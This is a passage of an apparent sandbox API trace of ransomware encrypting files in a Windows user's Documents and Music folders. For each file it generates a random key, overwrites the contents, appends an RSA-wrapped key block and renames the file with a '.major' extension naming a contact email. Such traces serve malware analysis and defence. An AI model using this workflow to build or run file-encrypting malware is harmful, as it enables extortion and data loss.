ftLastWriteTime.dwHighDateTime=0x1d4cbd1, nFileSizeHigh=0x0, nFileSizeLow=0x12d3c, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="fgtC6K-wPWSnribG.odp", cAlternateFileName="FGTC6K~1.ODP")) returned 1 [0192.397] FindNextFileW (in: hFindFile=0x2f86e68, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x249f6638, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x249f6638, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x249f6638, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0192.398] FindNextFileW (in: hFindFile=0x2f86e68, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x249f6638, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x249f6638, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x249f6638, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0192.398] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0192.398] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Documents\\QIddoQWl8eDSDIqz\\iBkXE7cA\\JlJRMwcQlhmiO8\\fgtC6K-wPWSnribG.odp", dwFileAttributes=0x80) returned 1 [0192.398] CreateFileW (lpFileName="\\Users\\FD1HVy\\Documents\\QIddoQWl8eDSDIqz\\iBkXE7cA\\JlJRMwcQlhmiO8\\fgtC6K-wPWSnribG.odp" (normalized: "c:\\users\\fd1hvy\\documents\\qiddoqwl8edsdiqz\\ibkxe7ca\\jljrmwcqlhmio8\\fgtc6k-wpwsnribg.odp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x9e4 [0192.399] GetFileSizeEx (in: hFile=0x9e4, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=77116) returned 1 [0192.399] ReadFile (in: hFile=0x9e4, lpBuffer=0x2f89888, nNumberOfBytesToRead=0x12d3c, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f89888*, lpNumberOfBytesRead=0x2e3f9b4*=0x12d3c, lpOverlapped=0x0) returned 1 [0192.402] SetFilePointer (in: hFile=0x9e4, lDistanceToMove=-77116, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0192.403] WriteFile (in: hFile=0x9e4, lpBuffer=0x2f9c5d0*, nNumberOfBytesToWrite=0x12d3c, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f9c5d0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x12d3c, lpOverlapped=0x0) returned 1 [0192.403] SetFilePointer (in: hFile=0x9e4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x12d3c [0192.403] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0192.403] WriteFile (in: hFile=0x9e4, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0192.403] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0192.403] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0192.404] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0192.404] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5a8108 [0192.404] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="U5iuoXj1gEV4dojSr6pqf4A1LU/192sZERgMRm5md1F26B5H4czRdX3XNL5WFz7L\nY+Q+h407gcGvY0ntv/9Bpwts0k/7IcYqCMmjNquVOBvPKk4AxiLQKwKrcJEtnRPQ\n+A2k3E3nHrMFIAacr0NKi8j1nCzKQcFau/TUGJbCUXaEMPnWKst28Iq08Q7OOiKd\nlAuku3eIOBet1iXtP+RGFOUezbS2GJLqJcZpJkLpKo1AJpuQSfwq+N1ifD92jj1x\nb2W4LCnlx08i5v5nzBYluKN3TtPkX5t7drHbW2BXRpmb6/V9p3Gd4kPPcey56zwA\nB2cqFlEAcZNdhEtUsNhYMQ==\n", pcchString=0x2e3f9a8) returned 1 [0192.404] WriteFile (in: hFile=0x9e4, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0192.404] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0192.404] WriteFile (in: hFile=0x9e4, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0192.404] CloseHandle (hObject=0x9e4) returned 1 [0192.405] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a8108 | out: hHeap=0x570000) returned 1 [0192.405] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Documents\\QIddoQWl8eDSDIqz\\iBkXE7cA\\JlJRMwcQlhmiO8\\fgtC6K-wPWSnribG.odp" (normalized: "c:\\users\\fd1hvy\\documents\\qiddoqwl8edsdiqz\\ibkxe7ca\\jljrmwcqlhmio8\\fgtc6k-wpwsnribg.odp"), lpNewFileName="\\Users\\FD1HVy\\Documents\\QIddoQWl8eDSDIqz\\iBkXE7cA\\JlJRMwcQlhmiO8\\fgtC6K-wPWSnribG.odp.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\documents\\qiddoqwl8edsdiqz\\ibkxe7ca\\jljrmwcqlhmio8\\fgtc6k-wpwsnribg.odp.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0192.418] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b85a8 | out: hHeap=0x570000) returned 1 [0192.419] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x656df8 | out: hHeap=0x570000) returned 1 [0192.419] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f84da8 | out: hHeap=0x570000) returned 1 [0192.419] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f85ee8 | out: hHeap=0x570000) returned 1 [0192.419] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5c7f40 [0192.419] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x65d2e8 | out: hHeap=0x570000) returned 1 [0192.419] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7e08 | out: hHeap=0x570000) returned 1 [0192.419] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x656e48 | out: hHeap=0x570000) returned 1 [0192.419] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\Music\\rai3Ivo\\dVS7sBA\\iZRi6TNv\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x926423e0, ftCreationTime.dwHighDateTime=0x1d4cc85, ftLastAccessTime.dwLowDateTime=0x53f3f30, ftLastAccessTime.dwHighDateTime=0x1d4d5cd, ftLastWriteTime.dwLowDateTime=0x24b99e78, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f86ee8 [0192.419] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f82640 | out: hHeap=0x570000) returned 1 [0192.419] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a4460 [0192.419] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b7168 [0192.419] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4460 | out: hHeap=0x570000) returned 1 [0192.419] GetLastError () returned 0x0 [0192.419] SetLastError (dwErrCode=0x0) [0192.419] GetLastError () returned 0x0 [0192.419] SetLastError (dwErrCode=0x0) [0192.419] GetLastError () returned 0x0 [0192.419] SetLastError (dwErrCode=0x0) [0192.419] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c40b8 [0192.419] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5be688 [0192.419] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5be688 | out: hHeap=0x570000) returned 1 [0192.419] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x656df8 [0192.419] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x2f869a8 [0192.420] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f869a8 | out: hHeap=0x570000) returned 1 [0192.420] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e40570 [0192.420] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40570 | out: hHeap=0x570000) returned 1 [0192.420] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x656df8 | out: hHeap=0x570000) returned 1 [0192.420] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c40b8 | out: hHeap=0x570000) returned 1 [0192.420] FindNextFileW (in: hFindFile=0x2f86ee8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x926423e0, ftCreationTime.dwHighDateTime=0x1d4cc85, ftLastAccessTime.dwLowDateTime=0x53f3f30, ftLastAccessTime.dwHighDateTime=0x1d4d5cd, ftLastWriteTime.dwLowDateTime=0x24b99e78, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0192.420] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b7168 | out: hHeap=0x570000) returned 1 [0192.420] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a4460 [0192.420] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b6c18 [0192.420] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4460 | out: hHeap=0x570000) returned 1 [0192.420] GetLastError () returned 0x0 [0192.420] SetLastError (dwErrCode=0x0) [0192.420] GetLastError () returned 0x0 [0192.420] SetLastError (dwErrCode=0x0) [0192.420] GetLastError () returned 0x0 [0192.420] SetLastError (dwErrCode=0x0) [0192.420] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c4438 [0192.420] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5be688 [0192.420] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5be688 | out: hHeap=0x570000) returned 1 [0192.420] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x656df8 [0192.420] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x2f869a8 [0192.420] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f869a8 | out: hHeap=0x570000) returned 1 [0192.420] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e40498 [0192.420] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40498 | out: hHeap=0x570000) returned 1 [0192.420] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x656df8 | out: hHeap=0x570000) returned 1 [0192.420] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c4438 | out: hHeap=0x570000) returned 1 [0192.420] FindNextFileW (in: hFindFile=0x2f86ee8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x24b99e78, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x24b99e78, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x24b99e78, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0192.420] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6c18 | out: hHeap=0x570000) returned 1 [0192.421] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a4460 [0192.421] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b6c18 [0192.421] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4460 | out: hHeap=0x570000) returned 1 [0192.421] GetLastError () returned 0x0 [0192.421] SetLastError (dwErrCode=0x0) [0192.421] GetLastError () returned 0x0 [0192.421] SetLastError (dwErrCode=0x0) [0192.421] GetLastError () returned 0x0 [0192.421] SetLastError (dwErrCode=0x0) [0192.421] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x656df8 [0192.421] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x656df8 | out: hHeap=0x570000) returned 1 [0192.421] FindNextFileW (in: hFindFile=0x2f86ee8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x196b9320, ftCreationTime.dwHighDateTime=0x1d4cbd5, ftLastAccessTime.dwLowDateTime=0x8eb83380, ftLastAccessTime.dwHighDateTime=0x1d4d5f4, ftLastWriteTime.dwLowDateTime=0x8eb83380, ftLastWriteTime.dwHighDateTime=0x1d4d5f4, nFileSizeHigh=0x0, nFileSizeLow=0x2daf, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="wCu _u3xF7MJ9.wav", cAlternateFileName="WCU_U3~1.WAV")) returned 1 [0192.421] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6c18 | out: hHeap=0x570000) returned 1 [0192.421] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a4460 [0192.421] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b6d28 [0192.421] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4460 | out: hHeap=0x570000) returned 1 [0192.421] GetLastError () returned 0x0 [0192.421] SetLastError (dwErrCode=0x0) [0192.421] GetLastError () returned 0x0 [0192.421] SetLastError (dwErrCode=0x0) [0192.421] GetLastError () returned 0x0 [0192.421] SetLastError (dwErrCode=0x0) [0192.421] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c40b8 [0192.421] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c40b8 | out: hHeap=0x570000) returned 1 [0192.421] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b6c18 [0192.421] FindNextFileW (in: hFindFile=0x2f86ee8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdedb4a60, ftCreationTime.dwHighDateTime=0x1d4d0ad, ftLastAccessTime.dwLowDateTime=0xb70af930, ftLastAccessTime.dwHighDateTime=0x1d4c7fd, ftLastWriteTime.dwLowDateTime=0xb70af930, ftLastWriteTime.dwHighDateTime=0x1d4c7fd, nFileSizeHigh=0x0, nFileSizeLow=0x16ed3, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="Z_3vmRikvg99z13 p.wav", cAlternateFileName="Z_3VMR~1.WAV")) returned 1 [0192.422] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6d28 | out: hHeap=0x570000) returned 1 [0192.422] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a4808 [0192.422] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b6ca0 [0192.422] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4808 | out: hHeap=0x570000) returned 1 [0192.422] GetLastError () returned 0x0 [0192.422] SetLastError (dwErrCode=0x0) [0192.422] GetLastError () returned 0x0 [0192.422] SetLastError (dwErrCode=0x0) [0192.422] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x2f82640 [0192.422] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6ca0 | out: hHeap=0x570000) returned 1 [0192.422] GetLastError () returned 0x0 [0192.422] SetLastError (dwErrCode=0x0) [0192.422] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c4438 [0192.422] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c4438 | out: hHeap=0x570000) returned 1 [0192.422] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x90) returned 0x65c1b0 [0192.422] FindNextFileW (in: hFindFile=0x2f86ee8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdedb4a60, ftCreationTime.dwHighDateTime=0x1d4d0ad, ftLastAccessTime.dwLowDateTime=0xb70af930, ftLastAccessTime.dwHighDateTime=0x1d4c7fd, ftLastWriteTime.dwLowDateTime=0xb70af930, ftLastWriteTime.dwHighDateTime=0x1d4c7fd, nFileSizeHigh=0x0, nFileSizeLow=0x16ed3, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="Z_3vmRikvg99z13 p.wav", cAlternateFileName="Z_3VMR~1.WAV")) returned 0 [0192.422] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x90) returned 0x65c378 [0192.422] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x656df8 [0192.422] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0192.422] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Music\\rai3Ivo\\dVS7sBA\\iZRi6TNv\\Z_3vmRikvg99z13 p.wav", dwFileAttributes=0x80) returned 1 [0192.423] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x90) returned 0x65c838 [0192.423] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xe0) returned 0x652490 [0192.423] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x65c838 | out: hHeap=0x570000) returned 1 [0192.423] CreateFileW (lpFileName="\\Users\\FD1HVy\\Music\\rai3Ivo\\dVS7sBA\\iZRi6TNv\\Z_3vmRikvg99z13 p.wav" (normalized: "c:\\users\\fd1hvy\\music\\rai3ivo\\dvs7sba\\izri6tnv\\z_3vmrikvg99z13 p.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x9e8 [0192.423] GetFileSizeEx (in: hFile=0x9e8, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=93907) returned 1 [0192.423] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x16ed3) returned 0x2f89888 [0192.423] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x16ed3) returned 0x2fa0768 [0192.424] ReadFile (in: hFile=0x9e8, lpBuffer=0x2f89888, nNumberOfBytesToRead=0x16ed3, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f89888*, lpNumberOfBytesRead=0x2e3f9b4*=0x16ed3, lpOverlapped=0x0) returned 1 [0192.428] SetFilePointer (in: hFile=0x9e8, lDistanceToMove=-93907, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0192.428] WriteFile (in: hFile=0x9e8, lpBuffer=0x2fa0768*, nNumberOfBytesToWrite=0x16ed3, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2fa0768*, lpNumberOfBytesWritten=0x2e3f9b4*=0x16ed3, lpOverlapped=0x0) returned 1 [0192.428] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f89888 | out: hHeap=0x570000) returned 1 [0192.428] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2fa0768 | out: hHeap=0x570000) returned 1 [0192.428] SetFilePointer (in: hFile=0x9e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x16ed3 [0192.428] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0192.428] WriteFile (in: hFile=0x9e8, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0192.428] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0192.428] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0192.429] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0192.429] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5a8108 [0192.429] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="fF324qw0sATya0DCN0L/AqH2gU1Rbq0D0Xfhgx3nTdRflSLiZIy/C9Q1+irNnc/D\n/4EReN4Vj8HjJoxAOF8aOIFhL9t/yW1S7M0r7/JdE+dMgRtNbxKtyg64L0Qf16Hu\nndmyK1fJimYEuh699KlYrkSsbNbQrl22UNaBJ3bbR0R1n6rk46Df2MCwRF7999kL\n/NncXTL5vwzBBkw6GXoYQXCgym8XJWWo9DwJBZz7BLN4R7uxw4XDcOHCsfK8w3OZ\ngc1D/+bEchO3Nk167oqmR7frZyrqPPva/NoaLOIWNwsAtyKn7P24Uk/iDqJR9dpT\nJi3fHfgTuDK0TChtC19ksw==\n", pcchString=0x2e3f9a8) returned 1 [0192.429] WriteFile (in: hFile=0x9e8, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0192.429] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0192.429] WriteFile (in: hFile=0x9e8, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0192.429] CloseHandle (hObject=0x9e8) returned 1 [0192.429] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a8108 | out: hHeap=0x570000) returned 1 [0192.430] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Music\\rai3Ivo\\dVS7sBA\\iZRi6TNv\\Z_3vmRikvg99z13 p.wav" (normalized: "c:\\users\\fd1hvy\\music\\rai3ivo\\dvs7sba\\izri6tnv\\z_3vmrikvg99z13 p.wav"), lpNewFileName="\\Users\\FD1HVy\\Music\\rai3Ivo\\dVS7sBA\\iZRi6TNv\\Z_3vmRikvg99z13 p.wav.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\music\\rai3ivo\\dvs7sba\\izri6tnv\\z_3vmrikvg99z13 p.wav.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0192.432] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x652490 | out: hHeap=0x570000) returned 1 [0192.432] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x656df8 | out: hHeap=0x570000) returned 1 [0192.432] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x65c378 | out: hHeap=0x570000) returned 1 [0192.432] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x65c1b0 | out: hHeap=0x570000) returned 1 [0192.432] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b6ca0 [0192.432] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x656df8 [0192.432] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0192.432] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Music\\rai3Ivo\\dVS7sBA\\iZRi6TNv\\wCu _u3xF7MJ9.wav", dwFileAttributes=0x80) returned 1 [0192.432] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b6d28 [0192.432] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xd0) returned 0x66c4d0 [0192.432] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6d28 | out: hHeap=0x570000) returned 1 [0192.432] CreateFileW (lpFileName="\\Users\\FD1HVy\\Music\\rai3Ivo\\dVS7sBA\\iZRi6TNv\\wCu _u3xF7MJ9.wav" (normalized: "c:\\users\\fd1hvy\\music\\rai3ivo\\dvs7sba\\izri6tnv\\wcu _u3xf7mj9.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x9e8 [0192.433] GetFileSizeEx (in: hFile=0x9e8, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=11695) returned 1 [0192.433] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2daf) returned 0x2f89888 [0192.433] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2daf) returned 0x2f8c640 [0192.433] ReadFile (in: hFile=0x9e8, lpBuffer=0x2f89888, nNumberOfBytesToRead=0x2daf, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f89888*, lpNumberOfBytesRead=0x2e3f9b4*=0x2daf, lpOverlapped=0x0) returned 1 [0192.434] SetFilePointer (in: hFile=0x9e8, lDistanceToMove=-11695, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0192.434] WriteFile (in: hFile=0x9e8, lpBuffer=0x2f8c640*, nNumberOfBytesToWrite=0x2daf, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f8c640*, lpNumberOfBytesWritten=0x2e3f9b4*=0x2daf, lpOverlapped=0x0) returned 1 [0192.434] HeapFree 